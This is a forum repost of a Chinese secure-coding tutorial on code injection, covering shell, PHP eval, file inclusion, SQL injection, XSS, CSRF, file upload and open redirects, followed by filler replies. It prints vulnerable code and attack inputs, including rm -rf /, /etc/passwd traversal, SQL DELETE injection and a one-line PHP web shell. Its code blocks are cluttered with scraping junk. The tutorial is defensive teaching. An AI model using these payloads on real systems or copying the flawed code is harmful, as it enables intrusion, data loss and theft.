123下一页
返回列表 发新帖

程序员疫苗:代码注入

9,190.9k 42
DeGe 发表于 2013-6-8 15:46:15|湖北 | 查看全部 阅读模式

几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

Shell注入

我们先来看一段perl的代码:

[size=1em]
[size=1em]1
  W9 [5 Y+ U. S3 h, o  ?
[size=1em]2

9 o9 U) Y% W  J
[size=1em]3

3 V2 L& ?9 j( B$ @" P
[size=1em]4
: v* j9 F/ {! X7 Z3 w
[size=1em]5

, I! I' X' e! b4 C
[size=1em]6

% }$ g5 u3 _# G3 T) i" c( i
[size=1em]7
7 ~( _0 S$ X# {, |3 A- J- ]
[size=1em]8
4 e: B$ l) Z. D, N8 _
[size=1em]9

! b+ M' B% J  x. c. R/ |
[size=1em]10

& u4 t( v! D8 g4 S5 u$ R6 h
[size=1em]11
4 W1 V* e6 F9 k
[size=1em][size=1em]use CGI qw(:standard);
9 ?! z9 e& V) M$ H4 F. A[size=1em]$name = param('name');
. b  \4 u; d2 ?2 h4 l[size=1em]$nslookup = "/path/to/nslookup";
: o' R  g, K4 M* {+ e  Z[size=1em]print header;( o8 A) m. y: y- D, V3 W
[size=1em]if (open($fh, "$nslookup $name|")) {6 P# @2 m; n% F) z! D8 ^
[size=1em]    while (<$fh>) {; l: j& j7 P3 k( D2 s+ {# ?+ m
[size=1em]        print escapeHTML($_);
* K- w5 O% f5 O" X[size=1em]        print "<br>\n";/ o3 W! ?  ~% ^/ j4 o
[size=1em]    }
$ N. a, x* B( n4 P# _[size=1em]    close($fh);; q: \# s, V. f8 o
[size=1em]}
0 s: f  f, L/ v' S3 W, U
* h8 s4 m, x" H) V
/ k9 [. U1 J; W$ T! K2 p
2 q6 B3 r  y9 D3 L$ r& Z2 ^

如果用户输入的参数是:

[size=1em]
[size=1em]1
: m# @/ D' m- p. D. [
[size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l6 r( ?4 v7 s& h2 C3 g

, @: V0 p; p3 k& Q; f
$ _! n* f. B, _

) a8 J" g% F. k

那么,这段perl的程序就成了:

  W7 ]0 [9 n- m$ A# D
[size=1em]
[size=1em]1
1 F/ V8 c" h# u9 O# N) ~5 Z
[size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l8 S! e5 n$ F8 N& k! o
, q" c7 H# {3 t" q' Y. R- p$ u
6 ?* \7 Y$ y4 Y3 q4 ^* ^5 d" ?

+ c. ?  l2 F4 Q3 N/ p2 c7 c* ~

我们再来看一段PHP的程序:

[size=1em]
[size=1em]1

( u' L5 Q6 U$ {( z5 Q% ]! @
[size=1em]2

& q2 v! X8 u* e
[size=1em]3
4 }; e/ K9 N' y( x$ ]& m) R
[size=1em][size=1em]$myvar = 'somevalue';
' m+ z6 W* A) d2 ?$ W( N* h- d[size=1em]$x = $_GET['arg'];3 A+ ]* t; A5 k/ e3 I% b# M
[size=1em]eval('$myvar = ' . $x . ';');
! d. N- S  ~  ?$ N5 b3 F0 i( e# l; Q% o
2 ?. l& O/ Q9 \3 E" E7 {5 A

6 G) S! U2 i! L, k" `+ p, C+ f

“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

再来看一个PHP的代码

[size=1em]
[size=1em]1

/ e& s1 b6 L6 M1 P3 f
[size=1em]2
7 {% I: u5 u6 Z- k8 [  @) N
[size=1em]3
! @$ T& {- Q. V* p
[size=1em]4
" V5 |: b" s: H
[size=1em]5
  v: m. g' w1 \3 f
[size=1em]6
( `0 Q5 D' r- n
[size=1em][size=1em]$isadmin= false;8 y: u4 N# U  Z# a* P! w
[size=1em]...
  T% O0 T  ?, v, [6 n' `9 x% }[size=1em]...
6 ^6 |& a- }, _; n4 W[size=1em]foreach ($_GET as $key => $value) {* A, w; Z% }: r* i- h
[size=1em]  $$key = $value;
# }  [' f/ ]/ a# M( c* g3 e[size=1em]}
- P- y& N7 G* w% t
; S' ~4 w+ E0 ]1 U) v9 K

1 s. R% G; O8 B. L5 g4 r+ u1 p3 h

! A& q! y9 j: z' o

如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。

再来看一个PHP的示例:

[size=1em]
[size=1em]1

1 U* z3 F3 p# Q" U. D
[size=1em]2

7 H. K3 X! T: ~! y2 }& g
[size=1em]3

3 I# u0 A3 `- o5 A: d. N8 a
[size=1em]4

0 `6 O, i1 O3 _  o8 z7 L
[size=1em][size=1em]$action = 'login';) _8 {& u6 m' y/ b, @4 k
[size=1em]   if (__isset( $_GET['act'] ) )
4 ?+ o; }1 x& A" I0 Q9 V[size=1em]      $action = $_GET['act'];
; b& V& z% V7 d[size=1em]   require( $action . '.php' );
- w/ t4 e5 a9 j  m: y" Z+ L# p. @

7 Z  j. N1 |) d6 ?  O

. N2 B+ j5 r- W- W, t9 D

这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)! ~: {1 ^" t( M6 A3 U1 F

这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  • 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  • 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
  • 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  • 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。: X5 n0 s$ X4 V# {, H" N* w2 V5 T

例程:

某个网站的登录验证的SQL查询代码为

[size=1em]
[size=1em]1
( e4 P8 p8 e- P
[size=1em]2
/ j+ _) H7 C. F# |' @8 [
[size=1em][size=1em]strSQL = "SELECT * FROM users
8 Q9 ]4 o, h7 r[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
) w! @1 j8 m& k' c2 j) L" R2 y  I6 K
, S6 H' U3 G) f3 s9 @. v1 d- E

0 f; W8 ?3 `5 c
! g* m1 I9 y  n" d

用户在登录时恶意输入如下的的用户名和口令:

[size=1em]
[size=1em]1
5 B' }* @. j2 x2 [2 ]: \
[size=1em][size=1em]userName = "' OR '1'='1";
! W% S3 X& w0 N2 r& E2 I5 x  |( Z9 f; A8 `( l, ?" w" J

' a4 ~+ r& M! I/ a% d2 k, y
: h$ f6 n$ j9 Q7 S3 _
[size=1em]
[size=1em]1

% y1 o2 ~1 Q$ g5 c
[size=1em][size=1em]passWord = "' OR '1'='1";
  U* l8 U" F+ h9 a; s
2 y" I( ?* I9 u" [( x3 }

1 _' `. U9 t) u( s

5 _  s$ W! q3 f: P) }; E0 g  @

此时,将导致原本的SQL字符串被解析为:

[size=1em]
[size=1em]1
; f3 ]# @% z8 O1 D( L# C* _
[size=1em]2

2 g$ W0 l+ J7 t5 J* c; `. G
[size=1em][size=1em]strSQL = "SELECT * FROM users
( [, g$ j; w- x' A[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
# ?3 O1 t% Q- V+ l$ d  h
8 u$ n7 s8 W, ?8 ~( b+ ~+ l9 `- Y
. {3 i5 Z) b; R6 f+ i& Z2 |

* V+ \6 Z  ?" ?+ d. K

也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

[size=1em]
[size=1em]1
% X, P4 V- |! [" \
[size=1em][size=1em]strSQL = "SELECT * FROM users;"
+ k0 o) K2 q( j4 h; l1 `7 Q3 v& v+ ~: f7 `0 A4 |' e* u/ Q3 [

6 v' {! `( f5 @( s

! }4 Z9 s2 M, q6 j

这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

[size=1em]
[size=1em]1

; M6 X9 Q4 h( j* G! A8 [# \7 ^
[size=1em][size=1em]username= "' ; DELETE FROM users; --";; t$ x+ {( t6 e) O* u3 F  ^
; @4 o# g, f* J& J$ k0 C
; w4 A7 N, |; a6 l9 v

7 ?5 x) P8 o0 |/ E

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》)

[size=1em]
[size=1em]1
5 M! @5 H, r0 Z5 I
[size=1em]2
( R3 h9 L' s4 x! ~0 S6 a, q
[size=1em]3
: L' D0 l) @" o- i$ q# @/ i* {
[size=1em]4
! M; k2 ]& O4 D$ L7 U
[size=1em]5

. o2 P, B9 g" r4 z
[size=1em][size=1em]<table background=”javascript:alert(1)”>
2 S5 E  H: U6 G, ~8 M$ g& b  g/ `) l' E) ^$ c1 h0 C9 \6 ~( K
[size=1em]<meta charset=”mac-farsi”>&#188;script&#190;alert(1)&#188;/script&#190;
. V# l! q5 }0 p, p+ ^) J! T! u0 K  t- E6 }9 _& r1 T
[size=1em]<img src=”javascript:alert(1)”>
! R. q5 \  a4 q; b, i3 x  z/ A2 H1 R5 Z* F) T9 m$ I2 e9 J/ v/ S

& ]7 O& \$ a( p
8 e8 ?# Z) s! h* ~/ Q

XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

于是,如果我在A站点内的某个贴子内注入这么一段代码:

[size=1em]
[size=1em]1
0 _5 {( c9 l+ N! L
[size=1em][size=1em]<img src="[color=blue !important][size=1em]http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">1 ]3 s* G) z: q! W9 F

0 j) B6 l) @# o+ \+ |

, Y$ {1 y# z* S3 u; O. z- [
+ q' W8 o6 @, ~: G. u% C0 N

很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。6 B) ?/ ?" F6 |+ Z1 ^
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()。
    • Node.js的node-validator。
    • Java的xssprotect。: c. s! E- S* a- T- ]

    ; l+ ^6 B& V" I4 @: d& |. K
  • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。  e! S' L+ J# @2 w7 o) e: A
  • 限制cookie的过期时间。9 M# \& i: d: R0 N$ C
  • 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)) Z8 b" Z7 T9 G+ e2 ^" w

另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

举个例子:

[size=1em]上传页面
[size=1em]1
& N- c0 u, q, g1 Q8 F
[size=1em]2
% b: {, V4 ~! d2 i0 @
[size=1em]3
8 V$ I" Z' O# m  }2 c& f- T
[size=1em]4

) S9 O: ~1 a2 E9 n; I! P5 P4 e' j
[size=1em]5

+ }% L, q( r  ^/ T2 I/ Q. @* V
[size=1em]6
1 y" Z0 {0 I8 z, Y
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">* z; H+ r, R& p( U3 ?9 w3 D. r
[size=1em]要上传的文件:
+ Z: h( q0 l# Z. l8 `' S! I[size=1em]<input type="file" name="filename"/># Z" J1 z# w; C0 q0 d. d
[size=1em]<br/>5 r7 `: F, G+ z  G# y) n8 @
[size=1em]<input type="submit" name="submit" value="Submit"/>
$ f+ B6 A* K6 m: A[size=1em]</form>$ l. \: K6 G/ p" }; B7 P% e

4 ~* Y  R- J. k
7 U$ o9 G, _# Y3 Q+ |, W  y) z% T- G

' \, w- A& k! H* ~) M! t0 A* Z8 s[size=1em]后台上传文件的PHP程序
[size=1em]1
+ a" k* U8 k9 i, \1 g
[size=1em]2

9 a4 d4 G) H5 S/ I2 w; w
[size=1em]3

# R' a" d2 X" r* g- ~9 s5 ~% Z  S
[size=1em]4

2 `, d# z; _( K6 k8 U
[size=1em]5

. @) q$ p6 F: F* m
[size=1em]6

8 y/ J( B8 Y6 j- h# p
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);& l( z( h7 Z8 O4 t% X1 `
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){5 ]% D+ h( d" V" c
[size=1em]    echo "图片文件上传成功";" X# `' Z! m* ^8 j7 p3 c5 r
[size=1em]}else{</div>: r( p" s! }/ a$ a
[size=1em]    echo "图片文件上传失败";& u. R. l  K& k3 b% ^9 _% c
[size=1em]}
3 d1 p6 h# O- I6 O# g, w  v1 B1 Y! r( f, C& e
6 x) }0 Y8 U( \6 U' H" O' ?

2 m0 S) r6 X, e. ]" O

假如我上传了一个PHP文件如下:

[size=1em]文件名malicious.php
[size=1em]1

' F( G/ L) J$ M. o6 I2 i
[size=1em]2
/ l1 p  m& c, B+ T6 k0 n% X
[size=1em]3

2 B5 v9 p# _) `% X+ }# m
[size=1em][size=1em]<?php
) f8 V8 q% |# b, t+ ]; i[size=1em]system($_GET['cmd']);& n* K+ Z/ v, k
[size=1em]?>+ K2 x# X0 U- Q% I  @3 ]) ]# |$ f

; k' R* `1 g# l) A" d3 o% q

6 Q, S! l' h/ U. e
' S& h5 m5 w' W+ V7 Q

那么,我就可以通过如下的URL访问攻击你的网站了:

[size=1em]
[size=1em]1
: {/ Z0 S5 L* o+ N6 x) v
[size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
) a+ r3 z: b9 q( e
  |" M' I+ D1 J1 X9 v4 d5 H

! p5 a; B& S1 o$ H2 O

' z3 ^2 }/ T) }  e

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转很有可能会成为攻击利用的工具。

比如下面的PHP代码:

[size=1em]
[size=1em]1
6 i- {! t, t( ]& \0 J
[size=1em]2
( F. u4 l5 y+ {/ f0 S
[size=1em][size=1em]$redirect_url = $_GET['url'];7 T& h+ e# [5 ?  R. c/ X; S4 E
[size=1em]header("Location: " . $redirect_url);
- `) a! Y9 W1 h0 U$ ?( ^2 y& J0 X  ^3 T& W" U* j0 C
: f# C$ F, O5 j3 e9 b: w; j5 u4 j, ]. N# P
5 ~6 J; E# ~/ c4 F9 }7 b

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。


2 \/ D& `: G% b+ F$ {1 r[size=1em]
[size=1em]1

5 S) P$ P3 H) i1 n
[size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
% h0 D3 W% H+ Z0 Z$ \! j: N' D
+ T* E; z- x- b5 G5 k7 q: H
: B7 Y/ e3 Q! V3 x6 @/ Y

2 r( s- Y7 R* s* |4 q! u5 X) E

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。

解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)

回复|共 42 个

lxtzf Lv.7 发表于 2014-10-2 07:38:40|广东 | 查看全部
顶你一下,好贴要顶!& L" H) {" j/ E* j  {- R$ X
' g% L2 ^3 M3 z8 C, v" d0 [

: v* q5 w- G- |( U9 B6 C; z: T! @! V  G, M2 o5 V) C

; _+ a6 k( ?  }/ i
: j8 Z" p) r* d- P9 i& n  B+ v9 D! e% o

" h4 F' w0 E6 R3 N: T# c* ^
& w" k) n8 k+ }$ v9 x7 }% o1 g
0 ~( y* v  n+ Z' Y
1 _# b/ I9 ?# ]7 g" b6 L  B
0 k4 o: W& s: C( L& U% C

8 }" M" j7 A8 W* ]% s                               
登录/注册后可看大图

- x6 Q, l3 O. P; z1 A6 L1 [! N  QSAA15V7A电源适配器
1 }$ n& h& L. r/ i, _8 ]6 w, G                9 W: I$ }4 d' s3 k3 U% q
. U$ y1 F$ l/ P4 I6 F

0 }0 P8 P4 L4 Q) B       
apgckwmm Lv.8 发表于 2014-9-29 17:23:56|Reserved | 查看全部
嘿嘿......哈哈......呵呵.....哟~呼
kbcesuo Lv.8 发表于 2014-9-29 17:44:59|印度 | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!
apgckwmm Lv.8 发表于 2014-9-29 17:54:55|加拿大 | 查看全部
经过你的指点 我还是没找到在哪 ~~~
kwjvtwzx Lv.15 发表于 2014-10-15 13:54:13|美国 | 查看全部
下次有人骂我了...我给他还回去..
inhidgehila Lv.8 发表于 2014-10-15 14:09:20|美国 | 查看全部
女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想
xiaoye Lv.9 发表于 2014-10-15 14:12:29|INNA | 查看全部
来电来函..欢迎洽购...
kwjvtwzx Lv.15 发表于 2014-10-15 14:21:20|亚太地区 | 查看全部
@,@..是什么意思呀?
jckie Lv.8 发表于 2014-10-15 14:45:56|Reserved | 查看全部
(⊙o⊙)…好长啊,我虽然回复不了那么多字,但十五字还是有的。
efiew Lv.15 发表于 2014-10-17 21:35:59|美国 | 查看全部
~~~~哼..哼..哼...
uhxidjjr Lv.8 发表于 2014-10-17 21:36:51|北京 | 查看全部
你这样的表现,就只配这几个字:窝囊废
xiaoye Lv.9 发表于 2014-10-17 21:43:51|欧洲和中东地区 | 查看全部
唉!猪!你怎么了?
inhidgehila Lv.8 发表于 2014-10-17 22:02:15|美国 | 查看全部
哈 你逗逗他啊
apgckwmm Lv.8 发表于 2014-10-17 22:25:15|IANA | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

得知互动是一个融创意、设计、开发、营销、生活、互联网于一体的专业交流分享平台。
Copyright © 2026 得知互动-专注Ai与站长技术交流社区-Ai交流平台 版权所有 All Rights Reserved. Powered by Discuz! X5.0 鄂ICP备15006301号-5|鄂公网安备 42018502006730号
关灯 在本版发帖 扫一扫添加QQ客服 返回顶部
快速回复 返回顶部 返回列表